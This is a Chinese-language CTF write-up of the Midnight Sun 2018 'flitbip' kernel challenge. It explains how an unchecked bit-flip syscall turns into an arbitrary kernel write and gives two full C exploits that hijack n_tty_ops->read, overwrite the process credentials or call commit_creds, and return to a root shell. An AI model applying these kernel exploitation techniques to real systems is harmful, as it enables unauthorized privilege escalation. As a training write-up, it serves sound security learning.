midnightsun-2018-flitbip：任意地址写

goodcat6662024-02-08 18:11

题目下载

启动脚本

启动脚本如下，没开启任何保护

bash 复制代码 
#!/bin/bash
qemu-system-x86_64 \
    -m 128M \
    -kernel ./bzImage \
    -initrd ./initrd \
    -nographic \
    -monitor /dev/null \
    -append "nokaslr root=/dev/ram rw console=ttyS0 oops=panic paneic=1 quiet" 2>/dev/null

题目：自定义的系统调用

c 复制代码 
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/sched.h>
#include <linux/syscalls.h>

#define MAXFLIT 1

#ifndef __NR_FLITBIP
#define FLITBIP 333
#endif

long flit_count = 0;
EXPORT_SYMBOL(flit_count);

SYSCALL_DEFINE2(flitbip, long *, addr, long, bit)
{
        if (flit_count >= MAXFLIT)
        {
                printk(KERN_INFO "flitbip: sorry :/\n");
                return -EPERM;
        }

        *addr ^= (1ULL << (bit));
        flit_count++;

        return 0;
}

题目提供了一个新的系统调用号，调用号为333

该系统调用有两个参数：addr和bit。

作用：对addr地址存储数据的第bit位与1进行异或（起始下标是第0位）

限制：使用全局变量long flit_count限制异或功能的次数，进入系统调用检查flit_count是否大于等于1

  • 如果等于1，则直接退出
  • 小于1，则对数据进行异或，并增加flit_count的值

也就是正常情况下，该系统调用的异或功能只能起作用一次

题目问题：系统调用未对传递的addr参数做检查，可以传入内核空间的地址。

  • 由于未开启地址随机化，可以传入flit_count全局变量的地址，使系统调用中的异或功能使用次数不受限
  • 通过系统调用中的异或功能，实现任意地址写，进而提权

准备编译打包脚本

为了变量编写的poc能被快速验证，创建了一个shell 脚本，用于编译poc，并将编译好的poc打包进initrd中

bash 复制代码 
#!/bin/bash

echo "[*]build poc elf"
name=$1
elf_name=$(echo $1 | cut -d . -f1)
gcc -static -g $name  -masm=intel -o $elf_name

echo "extract initrd"
rm -rf ./extracted
mkdir extracted
cd extracted
cp ../initrd ./
zcat ./initrd | cpio -idmv 
rm ./initrd
cp ../$elf_name $elf_name

echo "cpio initrd"
find ./ -print0 | cpio --owner root --null -o --format=newc > ../initrd
cd ..
gzip initrd
mv initrd.gz initrd

使用方式

./build.sh xxx.c

就能将xxx.c编译为xxx，并打包到initrd中

获取flit_count和其他内核符号的地址信息

通过/proc/kallsyms

首先在启动脚本中添加nokaslr取消地址随机化

再修改initrd中的init启动文件

bash 复制代码 
setsid /bin/cttyhack setuidgid 0 /bin/sh
echo 0 > /proc/sys/kernel/kptr_restrict
echo 0 > /proc/sys/kernel/dmesg_restrict

再重新打包initrd，以root用户权限查看/proc/kallsyms中符号的地址

通过vmlinux-to-elf + ida

将bzImage转换为elf文件，放入到ida中

vmlinux-to-elf bzImage vmlinux

在导出窗口就能看见符号地址

通过vmlinux-to-elf + pwntools

这个比较方便

还是先通过vmlinux-to-elf转换bzImage为elf文件

再使用pwntools提取符号

python 复制代码 
from pwn import *

vmlinux_elf = ELF('./vmlinux')
flit_count = vmlinux_elf.symbols['flit_count']
print(hex(flit_count))

尝试调用自定义系统调用

编写代码，调用系统调用看看自定义系统调用的功能

测试a=1时，将a中数据第3位与1进行异或（起始下标是第0位）

0-0-0-1
1-0-0-0
^
=======
1-0-0-1 = 9
c 复制代码 
// 文件名为 01_syscall.c
#define _GNU_SOURCE
#include <stdio.h>

long _call_flitbip(long *addr, long bit){
  asm(
      "mov rax, 333\n"
      "syscall\n"
  );
}

long call_flitbip(long *addr, long bit){
  long tmp = _call_flitbip(addr, bit);
  return tmp;
}

int main()
{
    int a = 1;
    int result = call_flitbip(&a, 3);
    printf("Now num is %d, result = %d\n", a , result);
    return 0;
}

进行编译打包

bash 复制代码 
./build.sh 01-syscall.c

运行qemu启动脚本，查看结果

bash 复制代码 
/ $ ./01_syscall 
Now num is 9, result = 0  <<<<<<<<<< 二进制 1000 ^ 0001 = 1001 

/ $ ./01_syscall 
Now num is 1, result = -1   <<<<<< 正常情况下系统调用的异或功能只能有效一次
/ $

修改flit_count，使flit_count >= 1判断绕过

这里将flit_count 修改为负数，则判断就绕过了
flit_count 是long类型，8字节，将第63为修改为1就是负数(起始下标是第0位)

c 复制代码 
#define _GNU_SOURCE
#include <stdio.h>

long _call_flitbip(long *addr, long bit){
  asm(
      "mov rax, 333\n"
      "syscall\n"
  );
}

long call_flitbip(long *addr, long bit){
  long tmp = _call_flitbip(addr, bit);
  return tmp;
}

const ulong flit_count = 0xffffffff818f4f78;

int main()
{
    call_flitbip(flit_count, 63); 
    return 0;
}

找到_x64_sys_flitbip的地址为0xFFFFFFFF810AE72D，下端进行调试

在系统调用前，查看flit_count的值为0

c 复制代码 
pwndbg> x/16gx 0xffffffff818f4f78
0xffffffff818f4f78:	0x0000000000000000	0x0000000100000000
0xffffffff818f4f88:	0x0000000000000000	0x0000000000000000
0xffffffff818f4f98:	0x0000000000000000	0x0000000000000000
0xffffffff818f4fa8:	0x0000000000000000	0x0000000000000000
0xffffffff818f4fb8:	0x0000000000000000	0x0000000000000000
0xffffffff818f4fc8:	0x0000000000000000	0x0000000000000000
0xffffffff818f4fd8:	0x0000000000000000	0x0000000000000000
0xffffffff818f4fe8:	0x0000000000000000	0x0000000000000000

再经过异或之后，值为0x8000000000000000

c 复制代码 
pwndbg> x/16gx 0xffffffff818f4f78
0xffffffff818f4f78:	0x8000000000000000	0x0000000100000000
0xffffffff818f4f88:	0x0000000000000000	0x0000000000000000
0xffffffff818f4f98:	0x0000000000000000	0x0000000000000000
0xffffffff818f4fa8:	0x0000000000000000	0x0000000000000000
0xffffffff818f4fb8:	0x0000000000000000	0x0000000000000000
0xffffffff818f4fc8:	0x0000000000000000	0x0000000000000000
0xffffffff818f4fd8:	0x0000000000000000	0x0000000000000000
0xffffffff818f4fe8:	0x0000000000000000	0x0000000000000000

之后flit_count再自增1，值为0x8000000000000001

c 复制代码 
pwndbg> x/16gx 0xffffffff818f4f78
0xffffffff818f4f78:	0x8000000000000001	0x0000000100000000
0xffffffff818f4f88:	0x0000000000000000	0x0000000000000000
0xffffffff818f4f98:	0x0000000000000000	0x0000000000000000
0xffffffff818f4fa8:	0x0000000000000000	0x0000000000000000
0xffffffff818f4fb8:	0x0000000000000000	0x0000000000000000
0xffffffff818f4fc8:	0x0000000000000000	0x0000000000000000
0xffffffff818f4fd8:	0x0000000000000000	0x0000000000000000
0xffffffff818f4fe8:	0x0000000000000000	0x0000000000000000

这样基本就可以不受限使用自定义系统调用的异或功能了，从而实现任意地址写

ret2user + 修改cred

c 复制代码 
#include <stdio.h>
#include <stdio.h>
#include <stdlib.h>

unsigned long* flip_count = 0xFFFFFFFF818F4F78;
unsigned long* n_tty_ops  =0xffffffff8183e320;
unsigned long* n_tty_read = 0xffffffff810c8510;
unsigned long* current_task = 0xffffffff8182e040;


long flitbip(long* addr, long bit) {
    __asm__("mov rax, 333");
    __asm__("syscall");
}


char* user_stack;
unsigned long user_cs;
unsigned long user_ss;
unsigned long user_rflags;

static void save_state() {
    __asm__("mov %0, cs\n"
            "mov %1, ss\n"
            "pushfq\n"
            "popq %2\n"
            :"=r"(user_cs),"=r"(user_ss),"=r"(user_rflags)
            :
            :"memory"
    );
}


void launch_shell(void) {
    system("/bin/sh");
}

void get_root() {
    int * cred = *(unsigned long*)((char*)*current_task + 0x3c0);
    for (int i = 1; i < 9; i++)
        cred[i] = 0;

    *(unsigned long*)((char*)n_tty_ops+0x30) = (unsigned long)n_tty_read;

    __asm__("swapgs\n"
        "mov rax, %0\n"
        "push rax\n"
        "mov rax, %1\n"
        "push rax\n"
        "mov rax, %2\n"
        "push rax\n"
        "mov rax, %3\n"
        "push rax\n"
        "mov rax, %4\n"
        "push rax\n"
        "iretq\n"
        :
        :"r"(user_ss),"r"(user_stack),"r"(user_rflags),"r"(user_cs),"r"(launch_shell)
        :"memory"
    );
}

int main(void) {
    char a;

    user_stack = &a;
    save_state();
    flitbip(flip_count, 63);

    unsigned long val = (unsigned long)get_root ^ (unsigned long)n_tty_read;
    printf("%lx\n", val);
    for (unsigned long i=0; i<64; i++) {
        if (val &  (1ULL << (i)))
            flitbip((char*)n_tty_ops + 0x30  , i);
    }
    scanf("%c", &a);
    while(1);
    return 0;
}

ret2user + commit_creds(prepare_kernel_cred(0));

c 复制代码 
// / $ uname -a
// Linux (none) 4.17.0 #1 Fri Jun 15 18:16:45 CEST 2018 x86_64 GNU/Linux


// ffffffff81033e92 T prepare_kernel_cred
// ffffffff81033d41 T commit_creds

#include <stdio.h>
#include <stdio.h>
#include <stdlib.h>

unsigned long* flip_count = 0xFFFFFFFF818F4F78;
unsigned long* n_tty_ops  =0xffffffff8183e320;
unsigned long* n_tty_read = 0xffffffff810c8510;
unsigned long* current_task = 0xffffffff8182e040;


long flitbip(long* addr, long bit) {
    __asm__("mov rax, 333");
    __asm__("syscall");
}


char* user_stack;
unsigned long user_cs;
unsigned long user_ss;
unsigned long user_rflags;

static void save_state() {
    __asm__("mov %0, cs\n"
            "mov %1, ss\n"
            "pushfq\n"
            "popq %2\n"
            :"=r"(user_cs),"=r"(user_ss),"=r"(user_rflags)
            :
            :"memory"
    );
}


void launch_shell(void) {
    system("/bin/sh");
}


#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xffffffff81033e92;
void (*commit_creds)(void*) KERNCALL = (void*) 0xffffffff81033d41;

void get_root() {
    commit_creds(prepare_kernel_cred(0));

    // 回复 n_tty_ops->read的值
    *(unsigned long*)((char*)n_tty_ops+0x30) = (unsigned long)n_tty_read;

    __asm__("swapgs\n"
        "mov rax, %0\n"
        "push rax\n"
        "mov rax, %1\n"
        "push rax\n"
        "mov rax, %2\n"
        "push rax\n"
        "mov rax, %3\n"
        "push rax\n"
        "mov rax, %4\n"
        "push rax\n"
        "iretq\n"
        :
        :"r"(user_ss),"r"(user_stack),"r"(user_rflags),"r"(user_cs),"r"(launch_shell)
        :"memory"
    );
}

int main(void) {
    char a;

    user_stack = &a;
    save_state();
    flitbip(flip_count, 63);

    unsigned long val = (unsigned long)get_root ^ (unsigned long)n_tty_read;
    printf("%lx\n", val);
    // 画了个很简单的图，一看就明白意思
    for (unsigned long i=0; i<64; i++) {
        if (val &  (1ULL << (i)))
            flitbip((char*)n_tty_ops + 0x30  , i);
    }
    scanf("%c", &a);
    while(1);
    return 0;
}
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